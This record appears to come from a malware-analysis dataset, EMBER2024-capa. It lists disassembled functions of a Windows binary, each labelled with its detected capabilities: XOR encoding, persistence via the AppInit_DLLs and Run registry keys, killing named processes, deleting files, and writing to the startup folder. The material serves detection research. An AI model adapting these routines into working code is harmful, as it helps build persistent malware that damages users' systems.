joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40c814
Capabilities:
Encode data using xor
Persist via appinit_dlls registry key
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffdc4
mov ecx, 7
push ebx
push esi
push edi
lea esi, [ebp - 4]
mov ebx, dword [ebp + 8]
push esi
lea edi, [ebp - 0x34]
mov esi, 0x4445c8
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
pop esi
mov eax, dword [0x46b1bc]
push 0
push eax
push ebx
call fcn.0042e350
add esp, 0xc
push ebx
call fcn.00430138
pop ecx
cmp eax, 0xe8
je 0x40c85e
xor eax, eax
jmp 0x40ca31
push ebx
push 1
push 4
push esi
call fcn.0042e2b0
add esp, 0x10
mov edi, dword [0x46b1bc]
add edi, dword [esi]
add edi, 5
push 0
push edi
push ebx
call fcn.0042e350
add esp, 0xc
xor eax, eax
mov dword [esi], eax
push ebx
call fcn.00430138
pop ecx
mov edx, dword [esi]
mov dl, byte [ebp + edx - 0x34]
test dl, dl
je 0x40c8a3
cmp dl, al
je 0x40c8a3
xor eax, eax
jmp 0x40ca31
inc dword [esi]
cmp dword [esi], 0x1d
jl 0x40c887
push 1
push ebx
push 0xa6c
call fcn.00401410
add esp, 0xc
dec eax
je 0x40c8c4
xor eax, eax
jmp 0x40ca31
lea edx, [ebp - 0x23c]
push edx
lea ecx, [ebp - 0x138]
push ecx
lea eax, [ebp - 0x23c]
push eax
lea edx, [ebp - 0x23c]
push edx
mov ecx, dword [0x46a898]
push ecx
call fcn.0042de18
add esp, 0x14
lea eax, [ebp - 0x138]
push eax
call fcn.004175d0
pop ecx
push 0x4450ee
push 0x4450bf
push 0x80000002
call fcn.00417e0c
add esp, 0xc
push 0x445128
push 0x4450f2
push 0x80000002
call fcn.00417e0c
add esp, 0xc
lea edx, [edi + 0xf]
push 0
push edx
push ebx
call fcn.0042e350
add esp, 0xc
push ebx
call fcn.00430138
pop ecx
mov byte [ebp - 5], al
push 1
push 2
push ebx
call fcn.0042e350
add esp, 0xc
push ebx
call fcn.00430138
pop ecx
mov byte [ebp - 6], al
push 1
push 2
push ebx
call fcn.0042e350
add esp, 0xc
push ebx
call fcn.00430138
pop ecx
mov byte [ebp - 7], al
push 0
add edi, 0x186
push edi
push ebx
call fcn.0042e350
add esp, 0xc
push ebx
push 1
push 4
lea eax, [ebp - 0x14]
push eax
call fcn.0042e2b0
add esp, 0x10
xor edx, edx
mov dword [esi], edx
mov ecx, dword [esi]
mov al, byte [ebp - 5]
xor byte [ebp + ecx - 0x14], al
xor edx, edx
mov dl, byte [ebp - 6]
push edx
mov ecx, dword [esi]
mov al, byte [ebp + ecx - 0x14]
push eax
call fcn.00430e24
add esp, 8
mov edx, dword [esi]
mov byte [ebp + edx - 0x14], al
mov ecx, dword [esi]
mov al, byte [ebp - 7]
xor byte [ebp + ecx - 0x14], al
inc dword [esi]
cmp dword [esi], 4
jl 0x40c998
push 0
mov edx, dword [0x46b1bc]
sub edx, 4
push edx
push ebx
call fcn.0042e350
add esp, 0xc
xor ecx, ecx
mov dword [esi], ecx
push ebx
push 0
call fcn.00430160
add esp, 8
inc dword [esi]
cmp dword [esi], 0xa88
jl 0x40c9e5
lea eax, [ebp - 0x14]
mov edx, dword [eax]
mov dword [0x46b0e4], edx
push 0
mov ecx, dword [0x46b1b8]
push ecx
push ebx
call fcn.0042e350
add esp, 0xc
push ebx
push 0xf8
push 1
push 0x46b0bc
call fcn.0042e540
add esp, 0x10
mov eax, 0xa6c
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40ca38
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffde0
mov ecx, 6
push ebx
push esi
push edi
mov esi, 0x4445e5
mov edi, dword [ebp + 8]
push edi
lea edi, [ebp - 0x18]
rep movsd dword es:[edi], dword [esi]
pop edi
mov eax, dword [0x46b1bc]
push 0
push eax
push edi
call fcn.0042e350
add esp, 0xc
xor esi, esi
lea ebx, [ebp - 0x18]
push edi
call fcn.00430138
pop ecx
cmp al, byte [ebx]
je 0x40ca80
xor eax, eax
jmp 0x40cb1d
inc esi
inc ebx
cmp esi, 0x18
jl 0x40ca6e
push 0
push edi
push 0xa6d
call fcn.00401410
add esp, 0xc
dec eax
je 0x40ca9e
xor eax, eax
jmp 0x40cb1d
push 0
mov edx, dword [0x46a898]
push edx
call fcn.00417790
add esp, 8
lea ecx, [ebp - 0x220]
lea eax, [ebp - 0x11c]
lea edx, [ebp - 0x220]
push ecx
push eax
push edx
lea ecx, [ebp - 0x220]
push ecx
mov eax, dword [0x46a898]
push eax
call fcn.0042de18
add esp, 0x14
lea edx, [ebp - 0x11c]
push edx
call fcn.004175d0
pop ecx
lea ecx, [ebp - 0x11c]
push ecx
push 0x445135
push 0x80000002
call fcn.00417e0c
add esp, 0xc
lea eax, [ebp - 0x11c]
push eax
push str.SystemCurrentControlSetServices
push 0x80000002
call fcn.00417e0c
add esp, 0xc
mov eax, 0xa6d
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40cb24
Capabilities:
Encode data using xor
Persist via appinit_dlls registry key
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffdd4
mov ecx, 3
push ebx
push esi
push edi
lea esi, [ebp - 4]
mov edi, dword [ebp + 8]
push esi
push edi
lea edi, [ebp - 0x24]
mov esi, 0x4445fd
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
pop edi
pop esi
mov eax, dword [0x46b1bc]
push 0
push eax
push edi
call fcn.0042e350
add esp, 0xc
push edi
call fcn.00430138
pop ecx
cmp eax, 0xe8
je 0x40cb72
xor eax, eax
jmp 0x40cd46
push edi
push 1
push 4
push esi
call fcn.0042e2b0
add esp, 0x10
mov edx, dword [0x46b1bc]
add edx, dword [esi]
add edx, 5
mov dword [ebp - 8], edx
push 0
mov ecx, dword [ebp - 8]
push ecx
push edi
call fcn.0042e350
add esp, 0xc
xor eax, eax
mov dword [esi], eax
push edi
call fcn.00430138
pop ecx
mov edx, dword [esi]
cmp al, byte [ebp + edx - 0x24]
je 0x40cbb7
xor eax, eax
jmp 0x40cd46
inc dword [esi]
cmp dword [esi], 0xf
jl 0x40cba1
push 1
push edi
push 0xa6e
call fcn.00401410
add esp, 0xc
dec eax
je 0x40cbd8
xor eax, eax
jmp 0x40cd46
lea edx, [ebp - 0x22c]
push edx
lea ecx, [ebp - 0x128]
push ecx
lea eax, [ebp - 0x22c]
push eax
lea edx, [ebp - 0x22c]
push edx
mov ecx, dword [0x46a898]
push ecx
call fcn.0042de18
add esp, 0x14
lea eax, [ebp - 0x128]
push eax
call fcn.004175d0
pop ecx
push 0x4451b6
push 0x445187
push 0x80000002
call fcn.00417e0c
add esp, 0xc
push str.AppInit_DLLs
push 0x4451ba
push 0x80000002
call fcn.00417e0c
add esp, 0xc
push 0
mov edx, dword [ebp - 8]
add edx, 0xf
push edx
push edi
call fcn.0042e350
add esp, 0xc
push edi
call fcn.00430138
pop ecx
mov ebx, eax
push 1
push 2
push edi
call fcn.0042e350
add esp, 0xc
push edi
call fcn.00430138
pop ecx
mov byte [ebp - 9], al
push 1
push 2
push edi
call fcn.0042e350
add esp, 0xc
push edi
call fcn.00430138
pop ecx
mov byte [ebp - 0xa], al
push 0
mov eax, dword [ebp - 8]
add eax, 0x17e
push eax
push edi
call fcn.0042e350
add esp, 0xc
push edi
push 1
push 4
lea edx, [ebp - 0x14]
push edx
call fcn.0042e2b0
add esp, 0x10
xor ecx, ecx
mov dword [esi], ecx
mov eax, dword [esi]
xor byte [ebp + eax - 0x14], bl
xor edx, edx
mov dl, byte [ebp - 9]
push edx
mov ecx, dword [esi]
mov al, byte [ebp + ecx - 0x14]
push eax
call fcn.00430e24
add esp, 8
mov edx, dword [esi]
mov byte [ebp + edx - 0x14], al
mov ecx, dword [esi]
mov al, byte [ebp - 0xa]
xor byte [ebp + ecx - 0x14], al
inc dword [esi]
cmp dword [esi], 4
jl 0x40ccb0
push 0
mov edx, dword [0x46b1bc]
sub edx, 4
push edx
push edi
call fcn.0042e350
add esp, 0xc
xor ecx, ecx
mov dword [esi], ecx
push edi
push 0
call fcn.00430160
add esp, 8
inc dword [esi]
cmp dword [esi], 0xb8b
jl 0x40ccfa
lea eax, [ebp - 0x14]
mov edx, dword [eax]
mov dword [0x46b0e4], edx
push 0
mov ecx, dword [0x46b1b8]
push ecx
push edi
call fcn.0042e350
add esp, 0xc
push edi
push 0xf8
push 1
push 0x46b0bc
call fcn.0042e540
add esp, 0x10
mov eax, 0xa6e
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x417488
Capabilities:
Delete file
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffdbc
xor eax, eax
push ebx
push esi
push edi
xor edi, edi
mov ebx, dword [ebp + 8]
push edi
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea esi, [ebp - 0x244]
xchg edi, esi
mov edx, ecx
mov eax, edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
push ebx
call fcn.0042bda0
pop ecx
movsx eax, byte [ebx + eax - 1]
cmp eax, 0x5c
je 0x4174e5
push 0x466400
lea edx, [ebp - 0x244]
push edx
call fcn.0042bd64
add esp, 8
mov ecx, dword [ebp + 0xc]
push ecx
lea eax, [ebp - 0x244]
push eax
call fcn.0042bd64
add esp, 8
lea edx, [ebp - 0x140]
push edx
lea ecx, [ebp - 0x244]
push ecx
call sub.KERNEL32.DLL_FindFirstFileA
mov esi, eax
cmp esi, 0xffffffff
jne 0x417519
xor eax, eax
jmp 0x4175c7
test byte [ebp - 0x140], 0x10
jne 0x4175aa
inc edi
push esi
push edi
xor eax, eax
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea esi, [ebp - 0x244]
xchg edi, esi
mov edx, ecx
mov eax, edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
push ebx
call fcn.0042bda0
pop ecx
movsx eax, byte [ebx + eax - 1]
cmp eax, 0x5c
je 0x417575
push 0x466402
lea edx, [ebp - 0x244]
push edx
call fcn.0042bd64
add esp, 8
lea ecx, [ebp - 0x114]
push ecx
lea eax, [ebp - 0x244]
push eax
call fcn.0042bd64
add esp, 8
lea edx, [ebp - 0x244]
push 0x20
push 1
push edx
call fcn.0042d8f0
add esp, 0xc
lea ecx, [ebp - 0x244]
push ecx
call sub.KERNEL32.DLL_DeleteFileA
lea eax, [ebp - 0x140]
push eax
push esi
call sub.KERNEL32.DLL_FindNextFileA
test eax, eax
jne 0x417519
push esi
call sub.KERNEL32.DLL_FindClose
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4175d0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffbc8
push ebx
push esi
push edi
push str.Kernel32.DLL
call sub.KERNEL32.DLL_LoadLibraryA
mov esi, eax
test esi, esi
jne 0x4175f3
xor eax, eax
jmp 0x417789
push str.CreateToolhelp32Snapshot
push esi
call sub.KERNEL32.DLL_GetProcAddress
mov edi, eax
push str.Process32First
push esi
call sub.KERNEL32.DLL_GetProcAddress
mov ebx, eax
push str.Process32Next
push esi
call sub.KERNEL32.DLL_GetProcAddress
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x417629
test ebx, ebx
je 0x417629
test edi, edi
jne 0x417636
push esi
call sub.KERNEL32.DLL_FreeLibrary
xor eax, eax
jmp 0x417789
push 0
push 2
call edi
mov edi, eax
cmp edi, 0xffffffff
jne 0x417650
push esi
call sub.KERNEL32.DLL_FreeLibrary
xor eax, eax
jmp 0x417789
mov dword [ebp - 0x12c], 0x128
lea edx, [ebp - 0x12c]
push edx
push edi
call ebx
mov ecx, dword [ebp + 8]
push esi
push edi
mov ebx, eax
xor eax, eax
mov edi, ecx
or ecx, 0xffffffff
lea esi, [ebp - 0x438]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
xchg edi, esi
shr ecx, 2
mov eax, edi
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
mov eax, dword [ebp + 8]
pop esi
push esi
push edi
mov edi, eax
xor eax, eax
or ecx, 0xffffffff
lea esi, [ebp - 0x334]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
xchg edi, esi
shr ecx, 2
mov eax, edi
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
mov eax, dword [ebp + 8]
pop esi
push esi
push edi
mov edi, eax
xor eax, eax
or ecx, 0xffffffff
lea esi, [ebp - 0x230]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
xchg edi, esi
shr ecx, 2
mov eax, edi
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [ebp - 0x334]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
push eax
call fcn.0042bda0
pop ecx
lea edx, [ebp - 0x230]
mov byte [ebp + eax - 0x335], 0
push edx
call fcn.0042bda0
pop ecx
mov byte [ebp + eax - 0x232], 0
test ebx, ebx
je 0x417781
xor ebx, ebx
mov eax, ebx
shl eax, 6
add eax, ebx
shl eax, 2
lea edx, [ebp - 0x438]
add eax, edx
push eax
lea ecx, [ebp - 0x108]
push ecx
call fcn.0042bf74
add esp, 8
test eax, eax
jne 0x417760
push esi
call sub.KERNEL32.DLL_FreeLibrary
push 0
mov eax, dword [ebp - 0x124]
push eax
push 0
push 1
call sub.KERNEL32.DLL_OpenProcess
push eax
call sub.KERNEL32.DLL_TerminateProcess
jmp 0x417789
inc ebx
cmp ebx, 3
jl 0x41771a
mov dword [ebp - 0x12c], 0x128
lea edx, [ebp - 0x12c]
push edx
push edi
call dword [ebp - 4]
mov ebx, eax
test ebx, ebx
jne 0x417718
push esi
call sub.KERNEL32.DLL_FreeLibrary
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x418540
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffc00
push 0x100
lea eax, [ebp - 0x400]
push eax
call sub.KERNEL32.DLL_GetWindowsDirectoryA
push str.Start_MenuProgramsStartUp_
lea edx, [ebp - 0x400]
push edx
call fcn.0042bd64
add esp, 8
mov ecx, dword [ebp + 8]
push ecx
lea eax, [ebp - 0x400]
push eax
call fcn.0042bd64
add esp, 8
push 0
lea edx, [ebp - 0x400]
push edx
call fcn.00417790
add esp, 8
mov esp, ebp
pop ebp
ret
Function at 0x419950
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffc4
push ebx
xor ecx, ecx
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x14], ecx
mov ebx, edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x419ab9
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x10]
mov edx, ebx
call fcn.00429888
mov eax, dword [ebp - 0x10]
call fcn.004196b8
mov byte [ebp - 9], al
cmp byte [ebp - 9], 0
jne 0x4199a2
lea eax, [ebp - 0x10]
mov ecx, 1
mov edx, 1
call fcn.00429ca8
mov eax, dword [ebp - 4]
mov eax, dword [eax + 4]
mov dword [ebp - 0x18], eax
mov edx, ebx
mov eax, dword [ebp - 4]
call fcn.00419eec
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
je 0x419a77
xor eax, eax
push ebp
push 0x419a70
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 4]
call fcn.00419828
lea edx, [ebp - 0x38]
mov eax, dword [ebp - 4]
call fcn.00419ae8
test al, al
je 0x419a4e
mov ecx, dword [ebp - 0x34]
inc ecx
lea eax, [ebp - 0x14]
xor edx, edx
call fcn.004298d8
mov ebx, dword [ebp - 0x38]
dec ebx
cmp ebx, 0
jl 0x419a4e
mov eax, dword [ebp - 0x34]
inc eax
mov dword [ebp - 8], eax
push 0
push 0
push 0
push 0
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 0x14]
call fcn.00429c24
push eax
push ebx
mov eax, dword [ebp - 0x1c]
push eax
call sub.ADVAPI32.DLL_RegEnumKeyExA
test eax, eax
jne 0x419a48
mov eax, dword [ebp - 0x14]
call fcn.00429c24
mov edx, eax
lea eax, [ebp - 0x3c]
call fcn.004299a8
mov edx, dword [ebp - 0x3c]
mov eax, dword [ebp - 4]
call fcn.00419950
dec ebx
cmp ebx, 0xffffffff
jne 0x419a01
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x419a77
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp - 4]
call fcn.00419828
mov eax, dword [ebp - 0x1c]
push eax
call sub.ADVAPI32.DLL_RegCloseKey
ret
mov eax, dword [ebp - 0x10]
call fcn.00429c24
push eax
mov dl, byte [ebp - 9]
mov eax, dword [ebp - 4]
call fcn.00419814
push eax
call sub.ADVAPI32.DLL_RegDeleteKeyA
test eax, eax
sete bl
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x419ac0
lea eax, [ebp - 0x3c]
call fcn.004297f0
lea eax, [ebp - 0x14]
mov edx, 2
call fcn.00429814
ret

Function at 0x419ae8
Capabilities:
Query or enumerate registry key

Disassembly:
push ebx
push esi
mov ebx, edx
mov esi, eax
mov eax, ebx
xor ecx, ecx
mov edx, 0x1c
call fcn.00428b60
lea eax, [ebx + 0x14]
push eax
push 0
lea eax, [ebx + 0x10]
push eax
lea eax, [ebx + 0xc]
push eax
lea eax, [ebx + 8]
push eax
push 0
lea eax, [ebx + 4]
push eax
push ebx
push 0
push 0
push 0
mov eax, dword [esi + 4]
push eax
call sub.ADVAPI32.DLL_RegQueryInfoKeyA
test eax, eax
sete al
mov edx, dword [0x46a6b0]
cmp byte [edx + 8], 0
je 0x419b4c
mov edx, dword [0x46a6ac]
cmp dword [edx], 2
jne 0x419b4c
mov edx, dword [ebx + 4]
add dword [ebx + 4], edx
mov edx, dword [ebx + 0xc]
add dword [ebx + 0xc], edx
pop esi
pop ebx
ret
Function at 0x419b50
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 4], edx
mov edi, eax
xor eax, eax
push ebp
push 0x419c08
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov edx, dword [eax]
call dword [edx + 0x40]
lea edx, [ebp - 0x28]
mov eax, edi
call fcn.00419ae8
test al, al
je 0x419bea
mov ecx, dword [ebp - 0x24]
inc ecx
lea eax, [ebp - 0xc]
xor edx, edx
call fcn.004298d8
mov ebx, dword [ebp - 0x28]
dec ebx
test ebx, ebx
jl 0x419bea
inc ebx
xor esi, esi
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 8], eax
push 0
push 0
push 0
push 0
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 0xc]
call fcn.00429c24
push eax
push esi
mov eax, dword [edi + 4]
push eax
call sub.ADVAPI32.DLL_RegEnumKeyExA
mov eax, dword [ebp - 0xc]
call fcn.00429c24
mov edx, eax
lea eax, [ebp - 0x2c]
call fcn.004299a8
mov edx, dword [ebp - 0x2c]
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
call dword [ecx + 0x34]
inc esi
dec ebx
jne 0x419ba3
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x419c0f
lea eax, [ebp - 0x2c]
call fcn.004297f0
lea eax, [ebp - 0xc]
call fcn.004297f0
ret

Function at 0x419c18
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 4], edx
mov edi, eax
xor eax, eax
push ebp
push 0x419cd0
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov edx, dword [eax]
call dword [edx + 0x40]
lea edx, [ebp - 0x28]
mov eax, edi
call fcn.00419ae8
test al, al
je 0x419cb2
mov ecx, dword [ebp - 0x1c]
inc ecx
lea eax, [ebp - 0xc]
xor edx, edx
call fcn.004298d8
mov ebx, dword [ebp - 0x20]
dec ebx
test ebx, ebx
jl 0x419cb2
inc ebx
xor esi, esi
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 8], eax
push 0
push 0
push 0
push 0
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 0xc]
call fcn.00429c24
push eax
push esi
mov eax, dword [edi + 4]
push eax
call sub.ADVAPI32.DLL_RegEnumValueA
mov eax, dword [ebp - 0xc]
call fcn.00429c24
mov edx, eax
lea eax, [ebp - 0x2c]
call fcn.004299a8
mov edx, dword [ebp - 0x2c]
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
call dword [ecx + 0x34]
inc esi
dec ebx
jne 0x419c6b
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x419cd7
lea eax, [ebp - 0x2c]
call fcn.004297f0
lea eax, [ebp - 0xc]
call fcn.004297f0
ret
Function at 0x419e10
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov edi, edx
mov ebx, eax
mov al, byte [ebp + 8]
call fcn.004196cc
mov esi, eax
mov eax, dword [ebp + 0xc]
push eax
mov eax, dword [ebp - 4]
push eax
push esi
push 0
mov eax, edi
call fcn.00429c24
push eax
mov eax, dword [ebx + 4]
push eax
call sub.ADVAPI32.DLL_RegSetValueExA
test eax, eax
je 0x419e6e
mov dword [ebp - 0xc], edi
mov byte [ebp - 8], 0xb
lea eax, [ebp - 0xc]
push eax
push 0
mov ecx, dword [0x46a654]
mov dl, 1
mov eax, dword [0x4195c4]
call fcn.00424d94
call fcn.004294b8
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x419e78
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ebx, eax
xor eax, eax
mov dword [ebp - 4], eax
lea eax, [ebp + 0xc]
push eax
push edi
lea eax, [ebp - 4]
push eax
push 0
mov eax, esi
call fcn.00429c24
push eax
mov eax, dword [ebx + 4]
push eax
call sub.ADVAPI32.DLL_RegQueryValueExA
test eax, eax
je 0x419ed0
mov dword [ebp - 0xc], esi
mov byte [ebp - 8], 0xb
lea eax, [ebp - 0xc]
push eax
push 0
mov ecx, dword [0x46a658]
mov dl, 1
mov eax, dword [0x4195c4]
call fcn.00424d94
call fcn.004294b8
mov ebx, dword [ebp + 0xc]
mov eax, dword [ebp - 4]
call fcn.004196fc
mov edx, dword [ebp + 8]
mov byte [edx], al
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x424520
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push 0x100
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.KERNEL32.DLL_GetLocaleInfoA
test eax, eax
jle 0x424559
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.004298d8
jmp 0x424562
mov eax, ebx
mov edx, esi
call fcn.00429844
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x42456c
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.KERNEL32.DLL_GetLocaleInfoA
test eax, eax
jle 0x42458d
mov al, byte [esp]
jmp 0x42458f
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x428c7c
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x466cec]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x428d14
push 0x80000002
call sub.ADVAPI32.DLL_RegOpenKeyExA
test eax, eax
jne 0x428cf4
xor eax, eax
push ebp
push 0x428ced
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x428d30
mov eax, dword [ebp - 4]
push eax
call sub.ADVAPI32.DLL_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x428cf4
mov eax, dword [ebp - 4]
push eax
call sub.ADVAPI32.DLL_RegCloseKey
ret
mov ax, word [0x466cec]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x466cec], ax
mov esp, ebp
pop ebp
ret
Function at 0x42ac04
Capabilities:
Get geographical location
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee0
push ebx
push esi
mov dword [ebp - 4], eax
push 0x105
lea eax, [ebp - 0x11d]
push eax
push 0
call sub.KERNEL32.DLL_GetModuleFileNameA
mov byte [ebp - 0x12], 0
lea eax, [ebp - 8]
push eax
push 0xf003f
push 0
push 0x42adc0
push reloc.DZIP32.DLL_Ordinal_1
call sub.ADVAPI32.DLL_RegOpenKeyExA
test eax, eax
je 0x42ac65
lea eax, [ebp - 8]
push eax
push 0xf003f
push 0
push 0x42addc
push reloc.DZIP32.DLL_Ordinal_1
call sub.ADVAPI32.DLL_RegOpenKeyExA
test eax, eax
jne 0x42acd7
xor eax, eax
push ebp
push 0x42acd0
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x18], 5
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
lea eax, [ebp - 0x11d]
call fcn.0042aa5c
push eax
mov eax, dword [ebp - 8]
push eax
call sub.ADVAPI32.DLL_RegQueryValueExA
test eax, eax
je 0x42acb9
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
push 0x42adfc
mov eax, dword [ebp - 8]
push eax
call sub.ADVAPI32.DLL_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x42acd7
mov eax, dword [ebp - 8]
push eax
call sub.ADVAPI32.DLL_RegCloseKey
ret
mov eax, dword [ebp - 4]
push eax
lea eax, [ebp - 0x11d]
push eax
call sub.KERNEL32.DLL_lstrcpyA
push 5
lea eax, [ebp - 0xd]
push eax
push 3
call sub.KERNEL32.DLL_GetThreadLocale
push eax
call sub.KERNEL32.DLL_GetLocaleInfoA
xor esi, esi
cmp byte [ebp - 0x11d], 0
je 0x42adb8
cmp byte [ebp - 0xd], 0
jne 0x42ad19
cmp byte [ebp - 0x12], 0
je 0x42adb8
lea eax, [ebp - 0x11d]
push eax
call sub.KERNEL32.DLL_lstrlenA
mov ebx, eax
lea eax, [ebp - 0x11d]
add ebx, eax
jmp 0x42ad32
dec ebx
cmp byte [ebx], 0x2e
je 0x42ad41
lea eax, [ebp - 0x11d]
cmp ebx, eax
jne 0x42ad31
lea eax, [ebp - 0x11d]
cmp ebx, eax
je 0x42adb8
inc ebx
cmp byte [ebp - 0x12], 0
je 0x42ad6e
lea eax, [ebp - 0x12]
push eax
push ebx
call sub.KERNEL32.DLL_lstrcpyA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.KERNEL32.DLL_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x42adb8
cmp byte [ebp - 0xd], 0
je 0x42adb8
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.KERNEL32.DLL_lstrcpyA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.KERNEL32.DLL_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x42adb8
mov byte [ebp - 0xb], 0
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.KERNEL32.DLL_lstrcpyA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.KERNEL32.DLL_LoadLibraryExA
mov esi, eax
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret